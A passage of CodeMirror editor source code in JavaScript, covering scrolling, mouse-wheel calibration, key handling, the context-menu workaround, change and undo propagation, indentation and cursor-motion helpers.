(Math.abs(cm.doc.scrollTop - val) < 2) return; cm.doc.scrollTop = val; if (!gecko) updateDisplaySimple(cm, {top: val}); if (cm.display.scroller.scrollTop != val) cm.display.scroller.scrollTop = val; if (cm.display.scrollbarV.scrollTop != val) cm.display.scrollbarV.scrollTop = val; if (gecko) updateDisplaySimple(cm); startWorker(cm, 100); } // Sync scroller and scrollbar, ensure the gutter elements are // aligned. function setScrollLeft(cm, val, isScroller) { if (isScroller ? val == cm.doc.scrollLeft : Math.abs(cm.doc.scrollLeft - val) < 2) return; val = Math.min(val, cm.display.scroller.scrollWidth - cm.display.scroller.clientWidth); cm.doc.scrollLeft = val; alignHorizontally(cm); if (cm.display.scroller.scrollLeft != val) cm.display.scroller.scrollLeft = val; if (cm.display.scrollbarH.scrollLeft != val) cm.display.scrollbarH.scrollLeft = val; } // Since the delta values reported on mouse wheel events are // unstandardized between browsers and even browser versions, and // generally horribly unpredictable, this code starts by measuring // the scroll effect that the first few mouse wheel events have, // and, from that, detects the way it can convert deltas to pixel // offsets afterwards. // // The reason we want to know the amount a wheel event will scroll // is that it gives us a chance to update the display before the // actual scrolling happens, reducing flickering. var wheelSamples = 0, wheelPixelsPerUnit = null; // Fill in a browser-detected starting value on browsers where we // know one. These don't have to be accurate -- the result of them // being wrong would just be a slight flicker on the first wheel // scroll (if it is large enough). if (ie) wheelPixelsPerUnit = -.53; else if (gecko) wheelPixelsPerUnit = 15; else if (chrome) wheelPixelsPerUnit = -.7; else if (safari) wheelPixelsPerUnit = -1/3; function onScrollWheel(cm, e) { var dx = e.wheelDeltaX, dy = e.wheelDeltaY; if (dx == null && e.detail && e.axis == e.HORIZONTAL_AXIS) dx = e.detail; if (dy == null && e.detail && e.axis == e.VERTICAL_AXIS) dy = e.detail; else if (dy == null) dy = e.wheelDelta; var display = cm.display, scroll = display.scroller; // Quit if there's nothing to scroll here if (!(dx && scroll.scrollWidth > scroll.clientWidth || dy && scroll.scrollHeight > scroll.clientHeight)) return; // Webkit browsers on OS X abort momentum scrolls when the target // of the scroll event is removed from the scrollable element. // This hack (see related code in patchDisplay) makes sure the // element is kept around. if (dy && mac && webkit) { outer: for (var cur = e.target, view = display.view; cur != scroll; cur = cur.parentNode) { for (var i = 0; i < view.length; i++) { if (view[i].node == cur) { cm.display.currentWheelTarget = cur; break outer; } } } } // On some browsers, horizontal scrolling will cause redraws to // happen before the gutter has been realigned, causing it to // wriggle around in a most unseemly way. When we have an // estimated pixels/delta value, we just handle horizontal // scrolling entirely here. It'll be slightly off from native, but // better than glitching out. if (dx && !gecko && !presto && wheelPixelsPerUnit != null) { if (dy) setScrollTop(cm, Math.max(0, Math.min(scroll.scrollTop + dy * wheelPixelsPerUnit, scroll.scrollHeight - scroll.clientHeight))); setScrollLeft(cm, Math.max(0, Math.min(scroll.scrollLeft + dx * wheelPixelsPerUnit, scroll.scrollWidth - scroll.clientWidth))); e_preventDefault(e); display.wheelStartX = null; // Abort measurement, if in progress return; } // 'Project' the visible viewport to cover the area that is being // scrolled into view (if we know enough to estimate it). if (dy && wheelPixelsPerUnit != null) { var pixels = dy * wheelPixelsPerUnit; var top = cm.doc.scrollTop, bot = top + display.wrapper.clientHeight; if (pixels < 0) top = Math.max(0, top + pixels - 50); else bot = Math.min(cm.doc.height, bot + pixels + 50); updateDisplaySimple(cm, {top: top, bottom: bot}); } if (wheelSamples < 20) { if (display.wheelStartX == null) { display.wheelStartX = scroll.scrollLeft; display.wheelStartY = scroll.scrollTop; display.wheelDX = dx; display.wheelDY = dy; setTimeout(function() { if (display.wheelStartX == null) return; var movedX = scroll.scrollLeft - display.wheelStartX; var movedY = scroll.scrollTop - display.wheelStartY; var sample = (movedY && display.wheelDY && movedY / display.wheelDY) || (movedX && display.wheelDX && movedX / display.wheelDX); display.wheelStartX = display.wheelStartY = null; if (!sample) return; wheelPixelsPerUnit = (wheelPixelsPerUnit * wheelSamples + sample) / (wheelSamples + 1); ++wheelSamples; }, 200); } else { display.wheelDX += dx; display.wheelDY += dy; } } } // KEY EVENTS // Run a handler that was bound to a key. function doHandleBinding(cm, bound, dropShift) { if (typeof bound == "string") { bound = commands[bound]; if (!bound) return false; } // Ensure previous input has been read, so that the handler sees a // consistent view of the document if (cm.display.pollingFast && readInput(cm)) cm.display.pollingFast = false; var prevShift = cm.display.shift, done = false; try { if (isReadOnly(cm)) cm.state.suppressEdits = true; if (dropShift) cm.display.shift = false; done = bound(cm) != Pass; } finally { cm.display.shift = prevShift; cm.state.suppressEdits = false; } return done; } // Collect the currently active keymaps. function allKeyMaps(cm) { var maps = cm.state.keyMaps.slice(0); if (cm.options.extraKeys) maps.push(cm.options.extraKeys); maps.push(cm.options.keyMap); return maps; } var maybeTransition; // Handle a key from the keydown event. function handleKeyBinding(cm, e) { // Handle automatic keymap transitions var startMap = getKeyMap(cm.options.keyMap), next = startMap.auto; clearTimeout(maybeTransition); if (next && !isModifierKey(e)) maybeTransition = setTimeout(function() { if (getKeyMap(cm.options.keyMap) == startMap) { cm.options.keyMap = (next.call ? next.call(null, cm) : next); keyMapChanged(cm); } }, 50); var name = keyName(e, true), handled = false; if (!name) return false; var keymaps = allKeyMaps(cm); if (e.shiftKey) { // First try to resolve full name (including 'Shift-'). Failing // that, see if there is a cursor-motion command (starting with // 'go') bound to the keyname without 'Shift-'. handled = lookupKey("Shift-" + name, keymaps, function(b) {return doHandleBinding(cm, b, true);}) || lookupKey(name, keymaps, function(b) { if (typeof b == "string" ? /^go[A-Z]/.test(b) : b.motion) return doHandleBinding(cm, b); }); } else { handled = lookupKey(name, keymaps, function(b) { return doHandleBinding(cm, b); }); } if (handled) { e_preventDefault(e); restartBlink(cm); signalLater(cm, "keyHandled", cm, name, e); } return handled; } // Handle a key from the keypress event function handleCharBinding(cm, e, ch) { var handled = lookupKey("'" + ch + "'", allKeyMaps(cm), function(b) { return doHandleBinding(cm, b, true); }); if (handled) { e_preventDefault(e); restartBlink(cm); signalLater(cm, "keyHandled", cm, "'" + ch + "'", e); } return handled; } var lastStoppedKey = null; function onKeyDown(e) { var cm = this; ensureFocus(cm); if (signalDOMEvent(cm, e)) return; // IE does strange things with escape. if (ie && ie_version < 11 && e.keyCode == 27) e.returnValue = false; var code = e.keyCode; cm.display.shift = code == 16 || e.shiftKey; var handled = handleKeyBinding(cm, e); if (presto) { lastStoppedKey = handled ? code : null; // Opera has no cut event... we try to at least catch the key combo if (!handled && code == 88 && !hasCopyEvent && (mac ? e.metaKey : e.ctrlKey)) cm.replaceSelection("", null, "cut"); } // Turn mouse into crosshair when Alt is held on Mac. if (code == 18 && !/\bCodeMirror-crosshair\b/.test(cm.display.lineDiv.className)) showCrossHair(cm); } function showCrossHair(cm) { var lineDiv = cm.display.lineDiv; addClass(lineDiv, "CodeMirror-crosshair"); function up(e) { if (e.keyCode == 18 || !e.altKey) { rmClass(lineDiv, "CodeMirror-crosshair"); off(document, "keyup", up); off(document, "mouseover", up); } } on(document, "keyup", up); on(document, "mouseover", up); } function onKeyUp(e) { if (e.keyCode == 16) this.doc.sel.shift = false; signalDOMEvent(this, e); } function onKeyPress(e) { var cm = this; if (signalDOMEvent(cm, e) || e.ctrlKey && !e.altKey || mac && e.metaKey) return; var keyCode = e.keyCode, charCode = e.charCode; if (presto && keyCode == lastStoppedKey) {lastStoppedKey = null; e_preventDefault(e); return;} if (((presto && (!e.which || e.which < 10)) || khtml) && handleKeyBinding(cm, e)) return; var ch = String.fromCharCode(charCode == null ? keyCode : charCode); if (handleCharBinding(cm, e, ch)) return; if (ie && ie_version >= 9) cm.display.inputHasSelection = null; fastPoll(cm); } // FOCUS/BLUR EVENTS function onFocus(cm) { if (cm.options.readOnly == "nocursor") return; if (!cm.state.focused) { signal(cm, "focus", cm); cm.state.focused = true; addClass(cm.display.wrapper, "CodeMirror-focused"); // The prevInput test prevents this from firing when a context // menu is closed (since the resetInput would kill the // select-all detection hack) if (!cm.curOp && cm.display.selForContextMenu != cm.doc.sel) { resetInput(cm); if (webkit) setTimeout(bind(resetInput, cm, true), 0); // Issue #1730 } } slowPoll(cm); restartBlink(cm); } function onBlur(cm) { if (cm.state.focused) { signal(cm, "blur", cm); cm.state.focused = false; rmClass(cm.display.wrapper, "CodeMirror-focused"); } clearInterval(cm.display.blinker); setTimeout(function() {if (!cm.state.focused) cm.display.shift = false;}, 150); } // CONTEXT MENU HANDLING // To make the context menu work, we need to briefly unhide the // textarea (making it as unobtrusive as possible) to let the // right-click take effect on it. function onContextMenu(cm, e) { if (signalDOMEvent(cm, e, "contextmenu")) return; var display = cm.display; if (eventInWidget(display, e) || contextMenuInGutter(cm, e)) return; var pos = posFromMouse(cm, e), scrollPos = display.scroller.scrollTop; if (!pos || presto) return; // Opera is difficult. // Reset the current text selection only if the click is done outside of the selection // and 'resetSelectionOnContextMenu' option is true. var reset = cm.options.resetSelectionOnContextMenu; if (reset && cm.doc.sel.contains(pos) == -1) operation(cm, setSelection)(cm.doc, simpleSelection(pos), sel_dontScroll); var oldCSS = display.input.style.cssText; display.inputDiv.style.position = "absolute"; display.input.style.cssText = "position: fixed; width: 30px; height: 30px; top: " + (e.clientY - 5) + "px; left: " + (e.clientX - 5) + "px; z-index: 1000; background: " + (ie ? "rgba(255, 255, 255, .05)" : "transparent") + "; outline: none; border-width: 0; outline: none; overflow: hidden; opacity: .05; filter: alpha(opacity=5);"; if (webkit) var oldScrollY = window.scrollY; // Work around Chrome issue (#2712) focusInput(cm); if (webkit) window.scrollTo(null, oldScrollY); resetInput(cm); // Adds "Select all" to context menu in FF if (!cm.somethingSelected()) display.input.value = display.prevInput = " "; display.selForContextMenu = cm.doc.sel; clearTimeout(display.detectingSelectAll); // Select-all will be greyed out if there's nothing to select, so // this adds a zero-width space so that we can later check whether // it got selected. function prepareSelectAllHack() { if (display.input.selectionStart != null) { var selected = cm.somethingSelected(); var extval = display.input.value = "\u200b" + (selected ? display.input.value : ""); display.prevInput = selected ? "" : "\u200b"; display.input.selectionStart = 1; display.input.selectionEnd = extval.length; // Re-set this, in case some other handler touched the // selection in the meantime. display.selForContextMenu = cm.doc.sel; } } function rehide() { display.inputDiv.style.position = "relative"; display.input.style.cssText = oldCSS; if (ie && ie_version < 9) display.scrollbarV.scrollTop = display.scroller.scrollTop = scrollPos; slowPoll(cm); // Try to detect the user choosing select-all if (display.input.selectionStart != null) { if (!ie || (ie && ie_version < 9)) prepareSelectAllHack(); var i = 0, poll = function() { if (display.selForContextMenu == cm.doc.sel && display.input.selectionStart == 0) operation(cm, commands.selectAll)(cm); else if (i++ < 10) display.detectingSelectAll = setTimeout(poll, 500); else resetInput(cm); }; display.detectingSelectAll = setTimeout(poll, 200); } } if (ie && ie_version >= 9) prepareSelectAllHack(); if (captureRightClick) { e_stop(e); var mouseup = function() { off(window, "mouseup", mouseup); setTimeout(rehide, 20); }; on(window, "mouseup", mouseup); } else { setTimeout(rehide, 50); } } function contextMenuInGutter(cm, e) { if (!hasHandler(cm, "gutterContextMenu")) return false; return gutterEvent(cm, e, "gutterContextMenu", false, signal); } // UPDATING // Compute the position of the end of a change (its 'to' property // refers to the pre-change end). var changeEnd = CodeMirror.changeEnd = function(change) { if (!change.text) return change.to; return Pos(change.from.line + change.text.length - 1, lst(change.text).length + (change.text.length == 1 ? change.from.ch : 0)); }; // Adjust a position to refer to the post-change position of the // same text, or the end of the change if the change covers it. function adjustForChange(pos, change) { if (cmp(pos, change.from) < 0) return pos; if (cmp(pos, change.to) <= 0) return changeEnd(change); var line = pos.line + change.text.length - (change.to.line - change.from.line) - 1, ch = pos.ch; if (pos.line == change.to.line) ch += changeEnd(change).ch - change.to.ch; return Pos(line, ch); } function computeSelAfterChange(doc, change) { var out = []; for (var i = 0; i < doc.sel.ranges.length; i++) { var range = doc.sel.ranges[i]; out.push(new Range(adjustForChange(range.anchor, change), adjustForChange(range.head, change))); } return normalizeSelection(out, doc.sel.primIndex); } function offsetPos(pos, old, nw) { if (pos.line == old.line) return Pos(nw.line, pos.ch - old.ch + nw.ch); else return Pos(nw.line + (pos.line - old.line), pos.ch); } // Used by replaceSelections to allow moving the selection to the // start or around the replaced test. Hint may be "start" or "around". function computeReplacedSel(doc, changes, hint) { var out = []; var oldPrev = Pos(doc.first, 0), newPrev = oldPrev; for (var i = 0; i < changes.length; i++) { var change = changes[i]; var from = offsetPos(change.from, oldPrev, newPrev); var to = offsetPos(changeEnd(change), oldPrev, newPrev); oldPrev = change.to; newPrev = to; if (hint == "around") { var range = doc.sel.ranges[i], inv = cmp(range.head, range.anchor) < 0; out[i] = new Range(inv ? to : from, inv ? from : to); } else { out[i] = new Range(from, from); } } return new Selection(out, doc.sel.primIndex); } // Allow "beforeChange" event handlers to influence a change function filterChange(doc, change, update) { var obj = { canceled: false, from: change.from, to: change.to, text: change.text, origin: change.origin, cancel: function() { this.canceled = true; } }; if (update) obj.update = function(from, to, text, origin) { if (from) this.from = clipPos(doc, from); if (to) this.to = clipPos(doc, to); if (text) this.text = text; if (origin !== undefined) this.origin = origin; }; signal(doc, "beforeChange", doc, obj); if (doc.cm) signal(doc.cm, "beforeChange", doc.cm, obj); if (obj.canceled) return null; return {from: obj.from, to: obj.to, text: obj.text, origin: obj.origin}; } // Apply a change to a document, and add it to the document's // history, and propagating it to all linked documents. function makeChange(doc, change, ignoreReadOnly) { if (doc.cm) { if (!doc.cm.curOp) return operation(doc.cm, makeChange)(doc, change, ignoreReadOnly); if (doc.cm.state.suppressEdits) return; } if (hasHandler(doc, "beforeChange") || doc.cm && hasHandler(doc.cm, "beforeChange")) { change = filterChange(doc, change, true); if (!change) return; } // Possibly split or suppress the update based on the presence // of read-only spans in its range. var split = sawReadOnlySpans && !ignoreReadOnly && removeReadOnlyRanges(doc, change.from, change.to); if (split) { for (var i = split.length - 1; i >= 0; --i) makeChangeInner(doc, {from: split[i].from, to: split[i].to, text: i ? [""] : change.text}); } else { makeChangeInner(doc, change); } } function makeChangeInner(doc, change) { if (change.text.length == 1 && change.text[0] == "" && cmp(change.from, change.to) == 0) return; var selAfter = computeSelAfterChange(doc, change); addChangeToHistory(doc, change, selAfter, doc.cm ? doc.cm.curOp.id : NaN); makeChangeSingleDoc(doc, change, selAfter, stretchSpansOverChange(doc, change)); var rebased = []; linkedDocs(doc, function(doc, sharedHist) { if (!sharedHist && indexOf(rebased, doc.history) == -1) { rebaseHist(doc.history, change); rebased.push(doc.history); } makeChangeSingleDoc(doc, change, null, stretchSpansOverChange(doc, change)); }); } // Revert a change stored in a document's history. function makeChangeFromHistory(doc, type, allowSelectionOnly) { if (doc.cm && doc.cm.state.suppressEdits) return; var hist = doc.history, event, selAfter = doc.sel; var source = type == "undo" ? hist.done : hist.undone, dest = type == "undo" ? hist.undone : hist.done; // Verify that there is a useable event (so that ctrl-z won't // needlessly clear selection events) for (var i = 0; i < source.length; i++) { event = source[i]; if (allowSelectionOnly ? event.ranges && !event.equals(doc.sel) : !event.ranges) break; } if (i == source.length) return; hist.lastOrigin = hist.lastSelOrigin = null; for (;;) { event = source.pop(); if (event.ranges) { pushSelectionToHistory(event, dest); if (allowSelectionOnly && !event.equals(doc.sel)) { setSelection(doc, event, {clearRedo: false}); return; } selAfter = event; } else break; } // Build up a reverse change object to add to the opposite history // stack (redo when undoing, and vice versa). var antiChanges = []; pushSelectionToHistory(selAfter, dest); dest.push({changes: antiChanges, generation: hist.generation}); hist.generation = event.generation || ++hist.maxGeneration; var filter = hasHandler(doc, "beforeChange") || doc.cm && hasHandler(doc.cm, "beforeChange"); for (var i = event.changes.length - 1; i >= 0; --i) { var change = event.changes[i]; change.origin = type; if (filter && !filterChange(doc, change, false)) { source.length = 0; return; } antiChanges.push(historyChangeFromChange(doc, change)); var after = i ? computeSelAfterChange(doc, change) : lst(source); makeChangeSingleDoc(doc, change, after, mergeOldSpans(doc, change)); if (!i && doc.cm) doc.cm.scrollIntoView({from: change.from, to: changeEnd(change)}); var rebased = []; // Propagate to the linked documents linkedDocs(doc, function(doc, sharedHist) { if (!sharedHist && indexOf(rebased, doc.history) == -1) { rebaseHist(doc.history, change); rebased.push(doc.history); } makeChangeSingleDoc(doc, change, null, mergeOldSpans(doc, change)); }); } } // Sub-views need their line numbers shifted when text is added // above or below them in the parent document. function shiftDoc(doc, distance) { if (distance == 0) return; doc.first += distance; doc.sel = new Selection(map(doc.sel.ranges, function(range) { return new Range(Pos(range.anchor.line + distance, range.anchor.ch), Pos(range.head.line + distance, range.head.ch)); }), doc.sel.primIndex); if (doc.cm) { regChange(doc.cm, doc.first, doc.first - distance, distance); for (var d = doc.cm.display, l = d.viewFrom; l < d.viewTo; l++) regLineChange(doc.cm, l, "gutter"); } } // More lower-level change function, handling only a single document // (not linked ones). function makeChangeSingleDoc(doc, change, selAfter, spans) { if (doc.cm && !doc.cm.curOp) return operation(doc.cm, makeChangeSingleDoc)(doc, change, selAfter, spans); if (change.to.line < doc.first) { shiftDoc(doc, change.text.length - 1 - (change.to.line - change.from.line)); return; } if (change.from.line > doc.lastLine()) return; // Clip the change to the size of this doc if (change.from.line < doc.first) { var shift = change.text.length - 1 - (doc.first - change.from.line); shiftDoc(doc, shift); change = {from: Pos(doc.first, 0), to: Pos(change.to.line + shift, change.to.ch), text: [lst(change.text)], origin: change.origin}; } var last = doc.lastLine(); if (change.to.line > last) { change = {from: change.from, to: Pos(last, getLine(doc, last).text.length), text: [change.text[0]], origin: change.origin}; } change.removed = getBetween(doc, change.from, change.to); if (!selAfter) selAfter = computeSelAfterChange(doc, change); if (doc.cm) makeChangeSingleDocInEditor(doc.cm, change, spans); else updateDoc(doc, change, spans); setSelectionNoUndo(doc, selAfter, sel_dontScroll); } // Handle the interaction of a change to a document with the editor // that this document is part of. function makeChangeSingleDocInEditor(cm, change, spans) { var doc = cm.doc, display = cm.display, from = change.from, to = change.to; var recomputeMaxLength = false, checkWidthStart = from.line; if (!cm.options.lineWrapping) { checkWidthStart = lineNo(visualLine(getLine(doc, from.line))); doc.iter(checkWidthStart, to.line + 1, function(line) { if (line == display.maxLine) { recomputeMaxLength = true; return true; } }); } if (doc.sel.contains(change.from, change.to) > -1) signalCursorActivity(cm); updateDoc(doc, change, spans, estimateHeight(cm)); if (!cm.options.lineWrapping) { doc.iter(checkWidthStart, from.line + change.text.length, function(line) { var len = lineLength(line); if (len > display.maxLineLength) { display.maxLine = line; display.maxLineLength = len; display.maxLineChanged = true; recomputeMaxLength = false; } }); if (recomputeMaxLength) cm.curOp.updateMaxLine = true; } // Adjust frontier, schedule worker doc.frontier = Math.min(doc.frontier, from.line); startWorker(cm, 400); var lendiff = change.text.length - (to.line - from.line) - 1; // Remember that these lines changed, for updating the display if (from.line == to.line && change.text.length == 1 && !isWholeLineUpdate(cm.doc, change)) regLineChange(cm, from.line, "text"); else regChange(cm, from.line, to.line + 1, lendiff); var changesHandler = hasHandler(cm, "changes"), changeHandler = hasHandler(cm, "change"); if (changeHandler || changesHandler) { var obj = { from: from, to: to, text: change.text, removed: change.removed, origin: change.origin }; if (changeHandler) signalLater(cm, "change", cm, obj); if (changesHandler) (cm.curOp.changeObjs || (cm.curOp.changeObjs = [])).push(obj); } cm.display.selForContextMenu = null; } function replaceRange(doc, code, from, to, origin) { if (!to) to = from; if (cmp(to, from) < 0) { var tmp = to; to = from; from = tmp; } if (typeof code == "string") code = splitLines(code); makeChange(doc, {from: from, to: to, text: code, origin: origin}); } // SCROLLING THINGS INTO VIEW // If an editor sits on the top or bottom of the window, partially // scrolled out of view, this ensures that the cursor is visible. function maybeScrollWindow(cm, coords) { var display = cm.display, box = display.sizer.getBoundingClientRect(), doScroll = null; if (coords.top + box.top < 0) doScroll = true; else if (coords.bottom + box.top > (window.innerHeight || document.documentElement.clientHeight)) doScroll = false; if (doScroll != null && !phantom) { var scrollNode = elt("div", "\u200b", null, "position: absolute; top: " + (coords.top - display.viewOffset - paddingTop(cm.display)) + "px; height: " + (coords.bottom - coords.top + scrollerCutOff) + "px; left: " + coords.left + "px; width: 2px;"); cm.display.lineSpace.appendChild(scrollNode); scrollNode.scrollIntoView(doScroll); cm.display.lineSpace.removeChild(scrollNode); } } // Scroll a given position into view (immediately), verifying that // it actually became visible (as line heights are accurately // measured, the position of something may 'drift' during drawing). function scrollPosIntoView(cm, pos, end, margin) { if (margin == null) margin = 0; for (;;) { var changed = false, coords = cursorCoords(cm, pos); var endCoords = !end || end == pos ? coords : cursorCoords(cm, end); var scrollPos = calculateScrollPos(cm, Math.min(coords.left, endCoords.left), Math.min(coords.top, endCoords.top) - margin, Math.max(coords.left, endCoords.left), Math.max(coords.bottom, endCoords.bottom) + margin); var startTop = cm.doc.scrollTop, startLeft = cm.doc.scrollLeft; if (scrollPos.scrollTop != null) { setScrollTop(cm, scrollPos.scrollTop); if (Math.abs(cm.doc.scrollTop - startTop) > 1) changed = true; } if (scrollPos.scrollLeft != null) { setScrollLeft(cm, scrollPos.scrollLeft); if (Math.abs(cm.doc.scrollLeft - startLeft) > 1) changed = true; } if (!changed) return coords; } } // Scroll a given set of coordinates into view (immediately). function scrollIntoView(cm, x1, y1, x2, y2) { var scrollPos = calculateScrollPos(cm, x1, y1, x2, y2); if (scrollPos.scrollTop != null) setScrollTop(cm, scrollPos.scrollTop); if (scrollPos.scrollLeft != null) setScrollLeft(cm, scrollPos.scrollLeft); } // Calculate a new scroll position needed to scroll the given // rectangle into view. Returns an object with scrollTop and // scrollLeft properties. When these are undefined, the // vertical/horizontal position does not need to be adjusted. function calculateScrollPos(cm, x1, y1, x2, y2) { var display = cm.display, snapMargin = textHeight(cm.display); if (y1 < 0) y1 = 0; var screentop = cm.curOp && cm.curOp.scrollTop != null ? cm.curOp.scrollTop : display.scroller.scrollTop; var screen = display.scroller.clientHeight - scrollerCutOff, result = {}; if (y2 - y1 > screen) y2 = y1 + screen; var docBottom = cm.doc.height + paddingVert(display); var atTop = y1 < snapMargin, atBottom = y2 > docBottom - snapMargin; if (y1 < screentop) { result.scrollTop = atTop ? 0 : y1; } else if (y2 > screentop + screen) { var newTop = Math.min(y1, (atBottom ? docBottom : y2) - screen); if (newTop != screentop) result.scrollTop = newTop; } var screenleft = cm.curOp && cm.curOp.scrollLeft != null ? cm.curOp.scrollLeft : display.scroller.scrollLeft; var screenw = display.scroller.clientWidth - scrollerCutOff - display.gutters.offsetWidth; var tooWide = x2 - x1 > screenw; if (tooWide) x2 = y1 + screen; if (x1 < 10) result.scrollLeft = 0; else if (x1 < screenleft) result.scrollLeft = Math.max(0, x1 - (tooWide ? 0 : 10)); else if (x2 > screenw + screenleft - 3) result.scrollLeft = x2 + (tooWide ? 0 : 10) - screenw; return result; } // Store a relative adjustment to the scroll position in the current // operation (to be applied when the operation finishes). function addToScrollPos(cm, left, top) { if (left != null || top != null) resolveScrollToPos(cm); if (left != null) cm.curOp.scrollLeft = (cm.curOp.scrollLeft == null ? cm.doc.scrollLeft : cm.curOp.scrollLeft) + left; if (top != null) cm.curOp.scrollTop = (cm.curOp.scrollTop == null ? cm.doc.scrollTop : cm.curOp.scrollTop) + top; } // Make sure that at the end of the operation the current cursor is // shown. function ensureCursorVisible(cm) { resolveScrollToPos(cm); var cur = cm.getCursor(), from = cur, to = cur; if (!cm.options.lineWrapping) { from = cur.ch ? Pos(cur.line, cur.ch - 1) : cur; to = Pos(cur.line, cur.ch + 1); } cm.curOp.scrollToPos = {from: from, to: to, margin: cm.options.cursorScrollMargin, isCursor: true}; } // When an operation has its scrollToPos property set, and another // scroll action is applied before the end of the operation, this // 'simulates' scrolling that position into view in a cheap way, so // that the effect of intermediate scroll commands is not ignored. function resolveScrollToPos(cm) { var range = cm.curOp.scrollToPos; if (range) { cm.curOp.scrollToPos = null; var from = estimateCoords(cm, range.from), to = estimateCoords(cm, range.to); var sPos = calculateScrollPos(cm, Math.min(from.left, to.left), Math.min(from.top, to.top) - range.margin, Math.max(from.right, to.right), Math.max(from.bottom, to.bottom) + range.margin); cm.scrollTo(sPos.scrollLeft, sPos.scrollTop); } } // API UTILITIES // Indent the given line. The how parameter can be "smart", // "add"/null, "subtract", or "prev". When aggressive is false // (typically set to true for forced single-line indents), empty // lines are not indented, and places where the mode returns Pass // are left alone. function indentLine(cm, n, how, aggressive) { var doc = cm.doc, state; if (how == null) how = "add"; if (how == "smart") { // Fall back to "prev" when the mode doesn't have an indentation // method. if (!doc.mode.indent) how = "prev"; else state = getStateBefore(cm, n); } var tabSize = cm.options.tabSize; var line = getLine(doc, n), curSpace = countColumn(line.text, null, tabSize); if (line.stateAfter) line.stateAfter = null; var curSpaceString = line.text.match(/^\s*/)[0], indentation; if (!aggressive && !/\S/.test(line.text)) { indentation = 0; how = "not"; } else if (how == "smart") { indentation = doc.mode.indent(state, line.text.slice(curSpaceString.length), line.text); if (indentation == Pass || indentation > 150) { if (!aggressive) return; how = "prev"; } } if (how == "prev") { if (n > doc.first) indentation = countColumn(getLine(doc, n-1).text, null, tabSize); else indentation = 0; } else if (how == "add") { indentation = curSpace + cm.options.indentUnit; } else if (how == "subtract") { indentation = curSpace - cm.options.indentUnit; } else if (typeof how == "number") { indentation = curSpace + how; } indentation = Math.max(0, indentation); var indentString = "", pos = 0; if (cm.options.indentWithTabs) for (var i = Math.floor(indentation / tabSize); i; --i) {pos += tabSize; indentString += "\t";} if (pos < indentation) indentString += spaceStr(indentation - pos); if (indentString != curSpaceString) { replaceRange(doc, indentString, Pos(n, 0), Pos(n, curSpaceString.length), "+input"); } else { // Ensure that, if the cursor was in the whitespace at the start // of the line, it is moved to the end of that space. for (var i = 0; i < doc.sel.ranges.length; i++) { var range = doc.sel.ranges[i]; if (range.head.line == n && range.head.ch < curSpaceString.length) { var pos = Pos(n, curSpaceString.length); replaceOneSelection(doc, i, new Range(pos, pos)); break; } } } line.stateAfter = null; } // Utility for applying a change to a line by handle or number, // returning the number and optionally registering the line as // changed. function changeLine(doc, handle, changeType, op) { var no = handle, line = handle; if (typeof handle == "number") line = getLine(doc, clipLine(doc, handle)); else no = lineNo(handle); if (no == null) return null; if (op(line, no) && doc.cm) regLineChange(doc.cm, no, changeType); return line; } // Helper for deleting text near the selection(s), used to implement // backspace, delete, and similar functionality. function deleteNearSelection(cm, compute) { var ranges = cm.doc.sel.ranges, kill = []; // Build up a set of ranges to kill first, merging overlapping // ranges. for (var i = 0; i < ranges.length; i++) { var toKill = compute(ranges[i]); while (kill.length && cmp(toKill.from, lst(kill).to) <= 0) { var replaced = kill.pop(); if (cmp(replaced.from, toKill.from) < 0) { toKill.from = replaced.from; break; } } kill.push(toKill); } // Next, remove those actual ranges. runInOp(cm, function() { for (var i = kill.length - 1; i >= 0; i--) replaceRange(cm.doc, "", kill[i].from, kill[i].to, "+delete"); ensureCursorVisible(cm); }); } // Used for horizontal relative motion. Dir is -1 or 1 (left or // right), unit can be "char", "column" (like char, but doesn't // cross line boundaries), "word" (across next word), or "group" (to // the start of next group of word or non-word-non-whitespace // chars). The visually param controls whether, in right-to-left // text, direction 1 means to move towards the next index in the // string, or towards the character to the right of the current // position. The resulting position will have a hitSide=true // property if it reached the end of the document. function findPosH(doc, pos, dir, unit, visually) { var line = pos.line, ch = pos.ch, origDir = dir; var lineObj = getLine(doc, line); var possible = true; function findNextLine() { var l = line + dir; if (l < doc.first || l >= doc.first + doc.size) return (possible = false); line = l; return lineObj = getLine(doc, l); } function moveOnce(boundToLine) { var next = (visually ? moveVisually : moveLogically)(lineObj, ch, dir, true); if (next == null) { if (!boundToLine && findNextLine()) { if (visually) ch = (dir < 0 ? lineRight : lineLeft)(lineObj); else ch = dir < 0 ? lineObj.text.length : 0; } else return (possible = false); } else ch = next; return true; } if (unit == "char") moveOnce(); else if (unit == "column") moveOnce(true); else if (unit == "word" || unit == "group") { var sawType = null, group = unit == "group"; var helper = doc.cm && doc.cm.getHelper(pos, "wordChars"); for (var first = true;; first = false) { if (dir < 0 && !moveOnce(!first)) break; var cur = lineObj.text.charAt(ch) || "\n"; var type = isWordChar(cur, helper) ? "w" : group && cur == "\n" ? "n" : !group || /\s/.test(cur) ? null : "p"; if (group && !first && !type) type = "s"; if (sawType && sawType != type) { if (dir < 0) {dir = 1; moveOnce();} break; } if (type) sawType = type; if (dir > 0 && !moveOnce(!first)) break; } } var result = skipAtomic(doc, Pos(line, ch), origDir, true); if (!possible) result.hitSide = true; return result; } // For relative vertical movement. Dir may be -1 or 1. Unit can be // "page" or "line". The resulting position will have a hitSide=true // property if it reached the end of the document. function findPosV(cm, pos, dir, unit) { var doc = cm.doc, x = pos.left, y; if (unit == "page") { var pageSize = Math.min(cm.display.wrapper.clientHeight, window.innerHeight || document.documentElement.clientHeight); y = pos.top + dir * (pageSize - (dir < 0 ? 1.5 : .5) * textHeight(cm.display)); } else if (unit == "line") { y = dir > 0 ? pos.bottom + 3 : pos.top - 3; } for (;;) { var target = coordsChar(cm, x, y); if (!target.outside) break; if (dir < 0 ? y <= 0 : y >= doc.height) { target.hitSide = true; break; } y += dir * 5; } return target; } // EDITOR METHODS // The publicly visible API. Note that methodOp(f) means // 'wrap f in an operation, performed on its `this` parameter'. // This is not the complete set of editor methods. Most of the // methods defined on the Doc type are also injected into // CodeMirror.prototype, for backwards compatibility and // convenience. CodeMirror.prototype = { constructor: CodeMirror, focus: function(){window.focus(); focusInput(this); fastPoll(this);}, setOption: function(option, value) { var options = this.options, old = options[option]; if (options[option] == value && option != "mode") return; options[option] = value; if (optionHandlers.hasOwnProperty(option)) operation(this, optionHandlers[option])(this, value, old); }, getOption: function(option) {return this.options[option];}, getDoc: function() {return this.doc;}, addKeyMap: function(map, bottom) { this.state.keyMaps[bottom ? "push" : "unshift"](map); }, removeKeyMap: function(map) { var maps = this.state.keyMaps; for (var i = 0; i < maps.length; ++i) if (maps[i] == map || 